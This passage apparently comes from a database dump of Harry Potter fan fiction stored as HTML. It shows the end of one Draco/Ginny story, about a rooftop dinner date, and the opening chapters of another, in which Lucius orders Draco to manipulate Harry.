letters into her pocket. "Excuse me?" \n</p><p>"Well, you have both been sending notes to each other all morning and I assume you didn\'t get a chance to reply to the last one so I was wondering if you would like me to tell him anything?" \n</p><p>"He was...curious...about an..." She stammered as she tried to think of an excuse. "Um, an infection he had...he was embarrassed..." \n</p><p>She immediately closed her eyes and walked on, knowing full well that the woman behind her was stifling her laughter at Ginny\'s obvious lie. "Okay. Should I mention this to him? We wouldn\'t want him to be...contagious or anything after all..." \n</p><p>"No!" Ginny said loudly. "Definitely not...it\'s...you know...embarassing for him...you should *definately* not mention it to him. Or anyone...ever. You know what he\'s like...you know...I...I\'m just going to...go now, see you...bye." \n</p><p>Madam Pomfrey straightened her face as she nodded at Ginny who was walking away quickly desperately trying to stop her face from being the red colour it had become. \n</p><p>~ ~ ~ ~ ~ \n</p><p>The rest of the afternoon had been somewhat uneventful for Ginny. She had to treat a third year Ravenclaw who had managed to poison himself in Professor Snape\'s class and watch while Madam Pomfrey demonstrated how to relocate a joint after a Slytherin girl fell from her broom in Quidditch practice. Apart from that, it had been a bit disappointing and had managed to bring her down from her previous high but, now that she was in her room again and getting ready she was already feeling nervous. What was she doing here? What had she done last night? \n</p><p>"You kissed a guy you have a lot of feelings for no matter how much you don\'t want to admit it. That\'s what you did last night." She said to her reflection as she grabbed her deep purple cloak from the chair and fastened it on her shoulder with a silver clasp. There. She was ready. She had a glance at the clock: 6.43pm. She was a bit early but, she reasoned, it took 10 minutes to get to the main door and, the clock could be slow so it would maybe be a good idea to leave. Just in case. \n</p><p>She looked and smiled at her reflection as she grabbed her bag. "Okay, Ginny. It\'s just a nice dinner with a friend...that\'s all. No reason to make a complete fool of yourself. Again. Just relax, breathe deep and it\'ll be fine. It\'ll be fine. It\'s just Malfoy." \n</p><p>She nodded her head determinedly and walked purposefully out the room. Not a problem. \n</p><p>~ ~ ~ ~ ~ \n</p><p>She arrived at the main doors and glanced at her watch: 6.52pm. She was maybe a little early but at least she could claim she had just arrived when he got there. She walked around the corner to see him leaning against the wall looking at his watch. Dammit. She thought with a smile, he did look good when he was all dressed up. \n</p><p>"Hello." \n</p><p>He looked up at her and she immediately got the impression that he was shocked with what he saw but he definitely looked impressed which caused her to blush slightly. "Hello, Ginny. You\'re early." \n</p><p>She smiled as she walked over to him. "So are you." \n</p><p>He looked down at her with a shrug of the shoulders. "It\'s not nice to keep a lady waiting apparently..." \n</p><p>She grinned. "I knew you had a chivalrous streak deep down. Even if you didn\'t show it overly well in your final note today..." \n</p><p>He smirked at her. "I stand by everything I said in that." \n</p><p>She looked at him with a playful smile. "Oh, but I am worth the effort...trust me." \n</p><p>She walked towards the door as she heard him let out a deep breath before following her out. "I have no doubts about that." \n</p><p>She paused as she waited on him to catch up. "So, where are we going?" \n</p><p>He stopped in front of her unimpressed. "That is for me to know and you to find out. But firstly," he paused and reached down to just outside the door and lifted up a flower and handed it to her. \n</p><p>She smiled as she looked at it, a single rose that had been charmed to slowly change colour. She gasped as it turned from a deep red to a soft pink to a pink tipped white. "Draco...thank you." She looked at him as he watched her. "It\'s beautiful." \n</p><p>He shook his head as if to tell her to forget it. "It\'s an appropriate gift for you then." \n</p><p>She blushed as she looked down. "I don\'t know about that." \n</p><p>He reached over and tilted her chin up. "I do. You look beautiful tonight." \n</p><p>She looked at him and felt her heart flutter as she made eye contact with his honest gaze. He thought she was beautiful. No one had ever said that to her before and meant it. "Thank you..." \n</p><p>"You don\'t have to thank me." \n</p><p>"I know." She took a step closer to him, reached up and brushed his hair out his eyes gently. "But I want to..." \n</p><p>He looked at her for a second intently and opened his mouth to say something. As no sound came out she smiled. Could Draco Malfoy be lost for words? He took a deep breath as he offered her his arm. "Well, I\'m afraid we should probably go..." \n</p><p>She reached over and interlaced her arm with his as he began walking. "You know, you could tell me where we are going." \n</p><p>He groaned. "You are by far the most infuriating girl I have ever taken out...trust me, you will find out soon enough." \n</p><p>She rolled her eyes. "You know it doesn\'t make a very good impression when you start the night off with comparing me to other girls you\'ve taken out." \n</p><p>"Hmmm, yes. I suppose not..." he said carefully as he looked at her with an amused expression. "But I should mention that you are far more charming than any of them..." \n</p><p>She let out a slight laugh. "That was a nice cover there..." \n</p><p>"I thought so." \n</p><p>He stopped at the end of the path and turned to her as he picked something up. A portkey? "Where are you taking me?" \n</p><p>"I told you, it\'s a surprise. Are you coming?" he asked her with a probing look. \n</p><p>She looked at him like he had lost his mind. "Of course I\'m coming. You think I was letting you off that easilly?" \n</p><p>He smiled at her as she reached her free hand out and touched the portkey. "I was hoping not. But I can never be sure with you." \n</p><p>"I\'ll try and take that as a compliment." \n</p><p>"It is how it was intended," he said as the portkey began to glow and they disappeared. \n</p><p>Ginny opened her eyes to see where they had come and gasped as she looked around. Where had he taken them? "Draco?" \n</p><p>He walked over to her and whispered beside her ear as she looked around. "Surprised yet?" \n</p><p>She reached up and turned to him with a grin. "How did you manage this? No one is supposed to be allowed here just now. Oh you can see the Cathedral...and the university! That\'s where Hannah\'s brother went...how did you manage this?" \n</p><p>He bent down and whispered. "Well, don\'t tell anyone but I have friends in high places..." \n</p><p>"Dumbledore?" she asked as she looked around the rooftop where she was now standing looking down on the muggles who were walking by unaware as she looked out towards the water. "I have always wanted to do this..." \n</p><p>"I know, you told me," he said with a smile as he took his cloak off and draped it over a chair which was sitting beside a table that was carefully set for two.  \n</p><p>"When?" \n</p><p>He looked thoughtful. "I believe it was in your seventh year. You said something along the lines of, and I quote, \'you wouldn\'t know how to treat a normal person Malfoy, you don\'t have a single romantic streak in you. Most girls would prefer to have dinner in the open, surrounded by stars, candles and music with a person they cared for while the rest of the world was unaware than to have a 3000 galleon piece of jewellery and a meal in a restaurant where they were afraid to breath.\'" he took a deep breath as she blushed. "I still have no idea how you could come up with all that without breathing." \n</p><p>"I can\'t believe you remembered that." She blushed as she looked at him as her hand came to her mouth. "I can\'t believe I said that to you. I can\'t believe I sound like that." \n</p><p>He shrugged his shoulders. "Thankfully we have got a nice night or else this could have been a disaster." \n</p><p>She looked over the edge of the roof and couldn\'t help but grin as she turned around. "It couldn\'t be a disaster...why did you choose here?" \n</p><p>He looked at her with a grin. "Well, Hogsmeade isn\'t overly adventurous and I am not strictly supposed to go to any of the other wizarding towns...so I decided, we could go for a Muggle town. I remembered passing through here once and St Andrews has quite a historic reputation. So there was that and as I knew a wizard who owned the restaurant downstairs, I asked him if he would mind if we borrowed the roof..." \n</p><p>She walked over to him. "And he let you borrow it?" \n</p><p>"Well, of course...although I may have mentioned that I knew he was using house elves to prepare his award winning dishes..." \n</p><p>She let out a laugh as she reached out to touch his arm. "You blackmailed him?" \n</p><p>"Blackmail is such an undignified word...I prefer...persuaded." \n</p><p>She rolled her eyes as she looked at him. He would never change. "However you managed it, I love it." \n</p><p>He smiled as he took a step in towards her. "Are you surprised?" \n</p><p>She grinned as she stepped towards him as well. "I think you surprised me just with showing up..." \n</p><p>He looked at her with a small smile. "I\'m glad...means you are worth the effort after all..." \n</p><p>She looked into his eyes and whispered gently. "I told you that..." \n</p><p>"You did." He bent down and kissed her forehead gently as he took a step back. "Of course, I may have realised it already..." \n</p><p>She leaned her head back and silently groaned. For some reason she was hoping for something a little more than a kiss on the forehead. Actually, despite her best intentions, she wanted a lot more than a kiss on the forehead. She looked at him and shook her head lightly. "So, what are your plans now?" \n</p><p>He looked at her and offered her his arm. "Well, what would you like to do?" \n</p><p>She smiled at him as a small breeze blew. "I think I would like to dance...with you." \n</p><p>He looked at her with an unamused expression. "You are joking? We are on a rooftop...surrounded by Muggles..." \n</p><p>She nodded her head as she grabbed his hand and guided him out of the way of the table. "Yes, and we are going to be eating on a rooftop in a minute, but...now I want to dance." \n</p><p>"To Muggle music?"  \n</p><p>"Unless you want to sing?" She said with a smirk as he looked at her unimpressed as she placed her hand on his shoulder. "I didn\'t think so. I promise, one dance and I won\'t ask again." \n</p><p>He closed his eyes and sighed as he placed his hand on the small of her back and guided her closer to him. "Fine." \n</p><p>She smiled as she lay her head on his chest lightly. She could hear the pounding of his heart as he laid his head against hers and sighed. "I meant what I said last night you know..." \n</p><p>"Really?" She looked up at him and smiled. "I\'m glad. I thought...you might have changed your mind..." \n</p><p>"You thought I might come to my senses and realise the madness of the whole situation?" \n</p><p>"It did cross my mind...I assumed you would have realised the kind of reaction this...situation would have on certain people." \n</p><p>He looked down at her and sighed. "You mean the former death eater and a Weasley? Yes, I can see why that would be a little....problematic." \n</p><p>She smiled as she pulled away as the song ended. "Just a little. I was a little worried myself..." \n</p><p>He began ushering her to the table in an attempt to avoid another dance as he responded. "Why?" \n</p><p>"Well," she said as she sat down and looked at her rose again. "For one I wasn\'t sure if it was a good idea, and for another, I thought you might have realised what you had actually said last night and put it down to temporary madness..." \n</p><p>He let out a laugh as he drew his wand and pointed it at the plates which immediately began filling with food as the house elves down stairs earned their keep. "You mean that\'s all I had to say to get out of it?" \n</p><p>She scowled at him playfully. "Well, I should point out that I was considering appropriate revenge if you had stood me up." \n</p><p>He looked at her with a teasing smile tugging at his face as his grey eyes sparkled. "Would that involve telling the staff about an...\'embarassing infection\'? You do realise that I had Madam Pomfrey and Snape harassing me this afternoon suggesting potions and ointments?" \n</p><p>She let out a laugh and touched his hand apologetically as he looked at her unimpressed. "Ohhh...I am so sorry about that...I just didn\'t know how to...avoid the subject...of why Pete was at the office three times..." \n</p><p>"And that\'s what you came up with?" He looked at her and rolled his eyes. "You couldn\'t have said he was up asking about something relating to school?" \n</p><p>She took a drink of the wine that was in her glass. "Well, it was your fault! You kept sending me notes..." \n</p><p>He raised an eyebrow as he looked at her with a smirk. "I do believe you kept answering those notes..." \n</p><p>She blushed slightly as she looked at him. "Well...I suppose you could say that..." \n</p><p>He looked at her as he took a drink from his own glass. "I do say that...perhaps because I have the notes sitting on my dresser." \n</p><p>She let out a laugh, damnit. Couldn\'t he humour her? Even a little? "Okay, I did reply..." \n</p><p>He nodded his head in approval. "Thank you." \n</p><p>"For what?" \n</p><p>He pulled his chair in and looked up. "For realising that I am usually right...it stands you in good stead for the future..." \n</p><p>"For the future?" She folded her arms across her chest as she forced herself not to smile. "You would like to think so wouldn\'t you?" \n</p><p>He looked at her and a small smile appeared as he picked up his fork. "I would..." \n</p><p>~ ~ ~ ~ ~ \n</p><p>In hindsight, Ginny realised as the evening came to a close, she might not have had the night she had expected. After the events of the previous night she had worried it had perhaps been a mistake on their part, one that would have affirmed itself after the disaster of dinner. But, as she walked back to the castle with her hand interlaced with Draco\'s and the memory of what had been quite possibly the best date in her life playing through her mind. Actually, it had possibly been the best night of her life. One that she didn\'t want to end so she was purposefully walking as slowly as possible. \n</p><p>"You do realise that if we walk at this pace for the rest of the night, we may never reach the castle..." He said quietly, breaking her out of her thoughts. \n</p><p>She sighed. "I suppose..." \n</p><p>"Don\'t sound so enthusiastic..." He said with a laugh. "Do you worry that you\'re going to get found out? Because if that\'s the case I can leave you here and follow you in at a distance." \n</p><p>She nudged him. "If that was the case I would have agreed to meet you outside the main doors. Besides, I thought you would have wanted to end the evening like a gentleman?" \n</p><p>He stopped and looked at her. "Depends on what your opinion of a gentleman is. For some..." He lifted her hand and brought it to his mouth and gave it a small kiss on the back. "That is as far as a gentleman can go." He lowered her hand and looked at her. "For others..." He leaned down and kissed her gently on the side of the cheek, causing her eyes to flutter close as she felt her knees weaken at his close proximity. "That...is as far as a gentleman should go..." \n</p><p>She opened her eyes as he pulled back to look at her. She felt the breath catch in her throat as she whispered. "What...what about you? What\'s your opinion?" \n</p><p>"My opinion," He reached over and placed his hand behind her head as he pulled her closer to him. She closed her eyes as he bent down and kissed her lips gently. She responded eagerly, not realising before how desperately she had wanted to feel his lips on hers again. In that second any lingering trepidation\'s she had evaporated. She could care less what anyone else thought. She didn\'t care what else happened. All that mattered was she had never felt like this. Not with Harry, not with anyone. She reached her hand up behind him to reach his hair and press him closer, savouring the touch of his lips, the caressing of his tongue, the taste of his skin, the fluttering of her heart and the way she felt like she was floating. He eventually pulled away and she opened her eyes reluctantly to smile at him as he took a deep breath and continued. "My opinion...is...that I doubt any man would feel capable of acting like a gentleman around you...especially not me." \n</p><p>She looked at him and reached up to caress his face. "I think you have been a perfect gentleman." \n</p><p>"That has to be a first..." He said with a smile as he bent down and kissed her again gently before pulling back from her and exhaling with a grin as she began to giggle. "I think...we should maybe continue walking to the castle..." \n</p><p>She looked at him with a smile. "Why?" \n</p><p>He looked at her and reached out to take her hand as he pulled her gently along. "Because...we are in the middle of the grounds, in the middle of the night...and Dumbledore will no doubt be pacing the floor waiting on his portkey...in fear that I have kidnapped you..." \n</p><p>She began to laugh as she walked quickly ahead of him. Did he really expect her to buy that excuse? "You are a hopeless liar, Draco Malfoy." \n</p><p>He looked at her indignantly. "I am a very good liar, Ginny Weasley." \n</p><p>She shook her head as she reached the steps of the castle door and waited on him to catch up. "No, you\'re not..." \n</p><p>He stood up beside her as she leaned her back against the door frame. She looked at him and smiled, "and you walked me to the door as well, you really are the perfect gentleman aren\'t you?" \n</p><p>He looked at her as he leaned in closer to her and whispered. "I didn\'t want to tell you this, but I have only behaved myself because I would quite like an encore of earlier..." \n</p><p>She looked at him with a seductive smile. "Would that be the dance? Because for such a snobby prick in school you are really a bad dancer..." \n</p><p>He looked at her and smirked. "I take you out for a nice meal and you repay me by insulting me? No wonder you\'re still available..." \n</p><p>She leaned up to him and whispered gently. "I\'m not available..." \n</p><p>He raised an eyebrow as he placed his arm on the frame behind her preventing her from moving without moving him as he leaned in closer still. "I can see that...I hope he appreciates what a fine thing he has here..." \n</p><p>"He better..." She smiled as she felt her body tingle just at his proximity, despite the fact that they weren\'t touching. She leaned up and kissed him slowly, tenderly without touching him with anything other than her mouth. She quickly pulled back again and felt herself giggle again as she looked at him. "Thank you for tonight." \n</p><p>"Thank you." He opened his eyes and smiled at her. "I would like to do it again..." \n</p><p>"So would I." She smiled as she looked at him earnestly. "I\'d like that a lot." \n</p><p>He smiled as he nodded his head. "Good. So...I shall see you tomorrow and we can make arrangements?" \n</p><p>She nodded her head enthusiastically. "Yes, definitely..." \n</p><p>"Definitely..." \n</p><p>He looked at her and leaned in and kissed her on the cheek as he took her hand. As he pulled back he lifted her hand and kissed the back of it with a smirk as she looked at him in confusion. "At least now you can say I at least ended the evening like a gentleman..." \n</p><p>She began to laugh as he opened the door for her and bowed slightly. "Goodnight Ginny." \n</p><p>She sighed as she walked in and looked at him as she stood just inside the door desperate for the night to go on. "Goodnight, Draco..." \n</p><p>He took a step back from the door as he waited on her to go in. "Pleasant dreams..." \n</p><p>She smiled as she watched him as she began backing away, not taking her eyes off him. "I\'m sure I will have..." \n</p><p>~fini~ \n</p><p>\n'),
	(178, 1, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>First </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was talking with Blaise when he saw her. His voice\nsuddenly stammered as he tried to peep over Blaise&#8217;s shoulder in a attempt to\nget another glimpse of her. </p>\n\n<p class="MsoNormal">Blaise looked at her peculiarly. After all, No one was used\nto have Draco Malfoy Stammering in the middle of a sentence. She wondered if\nDraco was having some kind of Hormonal malady. Her eyes shown mischievously at\nthis prospect. In her wonder she didn&#8217;t acknowledge Draco as he turned away\nfrom her muttering a lame excuse. Silently he crept out of his seat and with a nonchalant\nair strolled down to the great oak door of the Hall. E stopped for a moment and\nafter realizing that no one was observing him looked towards her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She was eating her breakfast, thinking about today&#8217;s lessons\nand the coming Gryffindor/Slytherin game. Suddenly, she felt something prickle\nher neck. She gave a soft &#8220;ouch&#8221; and shifted her head slightly, in order to see\nwhat had pricked her. Just when she was turning back after shooing away a\ngrumbling mosquito when she suddenly looked up. </p>\n\n<p class="MsoNormal">She instantly became aware that a pair of eyes was gazing at\nher. She craned her neck slightly, tilting her head upwards to get a view of\nthe person gazing at her. She had a vague idea who could it be. </p>\n\n<p class="MsoNormal">She was surprised that her heart didn&#8217;t flutter at the idea\nthat &#8220;the-person-who-had-been-liked&#8221; was gazing at her. I was kind of annoying.\n</p>\n\n<p class="MsoNormal">She didn&#8217;t felt hurt when she saw that &#8220;the-person-who-had-been-liked&#8221;\nwas looking at someone with brown hairs, completely oblivious of what was\nhappening outside his own little imaginative word. </p>\n\n<p class="MsoNormal">She sighed a little. </p>\n\n<p class="MsoNormal">She was so happy for her friend. </p>\n\n<p class="MsoNormal">She turned towards her breakfast but as she was about to\ntake a bite from the toast when she suddenly stopped, stammered and dropped the\nbuttered toast on the napkin. Her elbow hit the butter pot. </p>\n\n<p class="MsoNormal">Crash!</p>\n\n<p class="MsoNormal">&nbsp;She blushed\nfuriously as she hurriedly tried to clean the napkin, aware that a lot of\npeople were looking at her. She offered a weak smile to everyone and then hung\nher head, cursing herself to be such foolish. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But what had caused such foolishness? After all Ginny\nWeasley was as accident prone as Snape is a gazebo. </p>\n\n<p class="MsoNormal">After a few minutes of amused muttering and sniggering from\nsome of the ruder people, she felt others gazing lifting from her, grouped by\nsome other interesting matters. </p>\n\n<p class="MsoNormal">Almost burying her head in her lap, she continued munching\nthat God-awful toast. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He smiled. She looked cute. Yes, she definitely looked cute\nwhile she blushed. He watched with amusement as he saw her shaking her head\nrepeatedly, the tip of her ears still red and she was still muttering. </p>\n\n<p class="MsoNormal">A slight lump was formed in his throat. An angry expression\ncame on his face. </p>\n\n<p class="MsoNormal">He could never get her. Never. She hated him too much. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly a soft, sleazy voice spoke in the back of his mind.\nHis body became rigid as he realized with horror what it was saying. </p>\n\n<p class="MsoNormal">&nbsp;&#8220;Draco, I expect\ncomplete obedience from you. You are my heir and are subjected to the same responsibilities\nthat I am. I am sure you wont fail me.&#8221; In the back of his mind he saw his\nfather looking at him expectantly, his eyes screening his soul like a hawk. </p>\n\n<p class="MsoNormal">Suddenly another flashed in his mind projector. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Listen Boy. You will never ever think of dishonoring Malfoy\nfamily. The Malfoy&#8217;s don&#8217;t talk to Mudbloods or Muggle Lovers. If I ever heard\nthat a mudblood or even worse a muggle lover had been near you then you will\npay for it. Do you understand?&#8221; He heard his fathers sneering voice commanding\nhim. He remembered speaking in a frightened voice. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Yes Father.&#8217; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He remembered the last talk his father had given him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoBodyText">He had been sitting in the Hall talking with her mother when\nhis father entered the hall. His face was grim and he meant business. He nodded\nat his mother as she left them alone. His father waited for her to go out\nbefore he turned towards him. </p>\n\n<p class="MsoNormal"><i>His heart was beating quickly. His father studied him\nwith a long, icy look. He remember cringing at the very thought of it. He felt that\nhis father was able to see his inner most thoughts. He could read his very mind\nand unfold dozens of secrets he kept there. It took him all his self-restraint,\nnot to squirm and look away. </i></p>\n\n<p class="MsoNormal"><i>Finally his father gave him a small nod and lifted his\ngaze. He walked towards him, a very serious expression visible on his face. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;It seems that I have taught you well Boy.&#8221; Draco choose\nto keep quiet. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Answer Me boy.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Yes, Father.&#8221; </i></p>\n\n<p class="MsoNormal"><i>His father looked at him and gave a cold, almost venomous\nsmile. </i></p>\n\n<p class="MsoNormal"><i>&#8220;So you are going back to Hogwarts tomorrow.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Yes father.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;How prudent. Just perfect for the plan.&#8221; His father\nseemed to be in a world of his own. </i></p>\n\n<p class="MsoNormal"><i>Finally he stood up and walked across towards the door,\nhis hands fingering his gold belt as he thought about something. Draco knew\nthat he wasn&#8217;t &#8230;&#8230;so he remained at his place choosing to keep quiet. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I have told the Dark Lord about you Draco.&#8221; His father\nsaid without turning towards him. </i></p>\n\n<p class="MsoNormal"><i>&#8220;off course father.&#8221; Draco murmured. His father heard him\nand turned towards him, his eyes blazing suddenly with Anger.</i></p>\n\n<p class="MsoNormal"><i>&#8220;Never answer if you are not asked.&#8221; But suddenly his\nmode changed and Draco who feared a sound lashing gave a relieved sigh. </i></p>\n\n<p class="MsoNormal"><i>&#8220;It seems to me that you are eager to serve our Master?&#8221;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Off course Father.&#8221; </i></p>\n\n<p class="MsoNormal"><i>Lucius studied the face of his son with hawk like eyes. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Then be grateful. For your time has arrived. The dark\nLord has chosen you for a very important mission.&#8221; He stopped momentarily\nsuddenly becoming keenly interested in the painting of Edward James Malfoy,\nDraco&#8217;s grandfather. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I would be glad to serve The Dark Lord.&#8221; Draco was a bit\nsurprised that for some reason he didn&#8217;t feel that he was being entirely true. But\nhe kept on going. It was always better to agree with his father on whatever\nmatter he was talking. But he was a bit confused. After all he would just be\nstarting his Sixth year. How could he be any service to Dark Lord? He had\nenough moles in Hogwarts and he wasn&#8217;t someone who could be planted as a mole. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;That must be your thinking boy if you know what is good\nfor you.&#8221; His father looked at him expectantly. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Off course father. You have taught me well.&#8221; Draco\nreplied. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>There was a long silence. His father was pacing across\nthe room leisurely, admiring the different paintings and occasionally commenting\non them followed by a monotone remark from Draco. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Suddenly his father spoke, </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I take it that you are not friend with Potter?&#8221; </i></p>\n\n<p class="MsoNormal"><i>Draco was a bit surprised. His father never ever brought\nup the name of that Blasted Potter. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Off course Father. After my first attempt you ordered me\nto stay away from him.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Oh did I.&#8221; Lucius muttered. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Our Lord has made a very cunning plan.&#8221; Lucius\ncontinued.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Draco remained silent. He was used to listen to his\nfather talking about Voldermort&#8217;s plans. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;And you Draco are the main character of this plan.&#8221; His\nfather said this casually as if he expected Draco to understand what he was\nsaying. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Now that&#8217;s new.&#8221; Draco thought as he tried to weight his\nfather&#8217;s words.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;I? Father.&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Yes you. Draco. You have been appointed by the dark Lord\nto manipulate Harry Potter towards our side during your school year and if it\ndoesn&#8217;t happens then you will be responsible to dispose him off.&#8221; </i></p>\n\n<p class="MsoNormal"><i>Draco gave a small gasp. His father looked at him\nshrewdly daring him to say anything. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;Do you understand Boy?&#8221; </i></p>\n\n<p class="MsoNormal"><i>&#8220;Off course I understand Father.&#8221; &nbsp;Draco replied in a sinking tone, his head too\nbaffled to say anything else. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;You will be allowed to use whatever resources that are available.\nIts up to you to think a way of Manipulating Potter. It would be suffice to say\nthat if you are no &#8230;&#8230;&#8230;then the consequences can indeed be dire.&#8221; His father&#8217;s\ntone was menacing and threatening. </i></p>\n\n<p class="MsoNormal"><i>Draco felt himself backing towards the back of the sofa.\nHe was still feeling very confused. Why him? </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;However, if you succeed boy, then you will be indeed be\nmade a personal comrade of Lord and I will be his assistant.&#8221; Lucius&#8217;s thoughts\nwere elsewhere. He was thinking about the day when he will be sitting next to\nLord Voldermort, his rank above all other then the Dark Lord. Oh but that wasn&#8217;t\nthe end. He had plans&#8230;but they were not to be told right now. </i></p>\n\n<p class="MsoNormal"><i>Draco felt a cold fury rising in his chest against his\nfather. </i></p>\n\n<p class="MsoNormal"><i>&#8220;Who does he think I am? Does he have no regard for me?\nHis own son? Does he always think about himself&#8221; His feelings were disarrayed\nand he didn&#8217;t knew what to say. So he chose the safer option. </i></p>\n\n<p class="MsoNormal"><i>He kept his mouth firmly shut. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&#8220;You are dismissed boy,&#8221; Were the last words he heard\nbefore going out of the room. Lucius didn&#8217;t know that a very flustered Draco Malfoy\nleft the room. </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">Suddenly to his horror Draco felt two hot lips tugging on\nhis own, he was aware of someone pushing against his body. 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	(178, 2, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\nFirst\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>First\nfood Fight </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny was\nstill troubled by the sudden feeling of watchfulness. It seemed that someone\nwas gazing at her intently. Unconsciously she felt the back of his neck\ntwitching. She was sure that she was red as a tomato. She cursed herself for\nbeing superstitious. Looking hastily, she tried to steal a glance around the\nhall. The Ravenclaw and Hufflepuff tables were bust in chitter-chatter.\nThe Slytherin were sitting sullenly, sneering unpleasantly at all others who\ndared to glance at them. She noticed Blaise Zabini standing up. </p>\n\n<p class="MsoNormal">Although\nonly plain school robes were allowed in Hogwarts, yet Blaise was dressed in a\nway, which Molly Weasley would have dubbed as &#8220;Scarlet\nWomanly.&#8221; Her robes clung to her body, forming curves at all the right places\nand hiding all the wanting places. Her neckline was low and was cut in V shape,\nwhich allowed a deep glance up her bosom. She was walking fashionably. Ginny\nnoticed a slight swing in her hips. Her jaw dropped! </p>\n\n<p class="MsoNormal">Blaise was\nacting like a complete Slut. There was no other word for it. Ginny was aware of\nthe gazes of lot of boys ogling at Blaise even from the Gryffindor tower. She\nwas aware of the gaze of her brother Ron looking at Blaise with absolute wonder in his\neyes. She saw him nudge Harry whose dreamy expression widened when he saw\nBlaise. She saw Ron whisper something in Harry&#8217;s ears, which made them giggle manically.\nGinny rolled her eyes. She would never ever want to know what these two prats were talking about. </p>\n\n<p class="MsoNormal">&#8220;Boys and their Hormones.&#8221; She thought. She often found it amazing how\nstupidly Boys acted in front of pretty girls. Suddenly a lump came in her\nthroat. </p>\n\n<p class="MsoNormal">&#8220;But no one\nhas ever acted foolishly in front of you. Specially the one you wanted.&#8221; A\nvoice suddenly said in the back of Ginny&#8217;s head. </p>\n\n<p class="MsoNormal">Ginny felt\nher eyes becoming moist. </p>\n\n<p class="MsoNormal">&#8220;Stop\nthis.&#8221; She ordered her mind. </p>\n\n<p class="MsoNormal">&#8220;I am not\nlike ordinary girls. I don&#8217;t want boys hanging around me like show dogs.&#8221; She\nreproached her mind but the voice in the back of her head didn&#8217;t stop. Instead\nits magnitude increased and to her horror Ginny realized that the voice was\ntelling the truth. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ndesperately wanted someone to say that she was pretty. Someone,\nsomeone very special. Ginny stole a silent glance at the wistful face of\nHarry Potter. If anything Harry Potter had become more subdued after his 3rd\nmeeting with Lord Voldermort. He barely talked and laughter was\nconstantly absent from his eyes. </p>\n\n<p class="MsoNormal">Some\ninterpreted it that Harry feared what would happen to him once he came out of the protection of\nHogwarts. Whether he would have to face Voldermort or Not? </p>\n\n<p class="MsoNormal">But Ginny\nknew the truth. She knew that feelings. She recognized the symptoms. She had\noften seen Harry gazing at someone, the later being completely oblivious of his stare. </p>\n\n<p class="MsoNormal">Harry Potter had fallen desperately in love with\nsomeone. </p>\n\n<p class="MsoNormal">And that\nsomeone 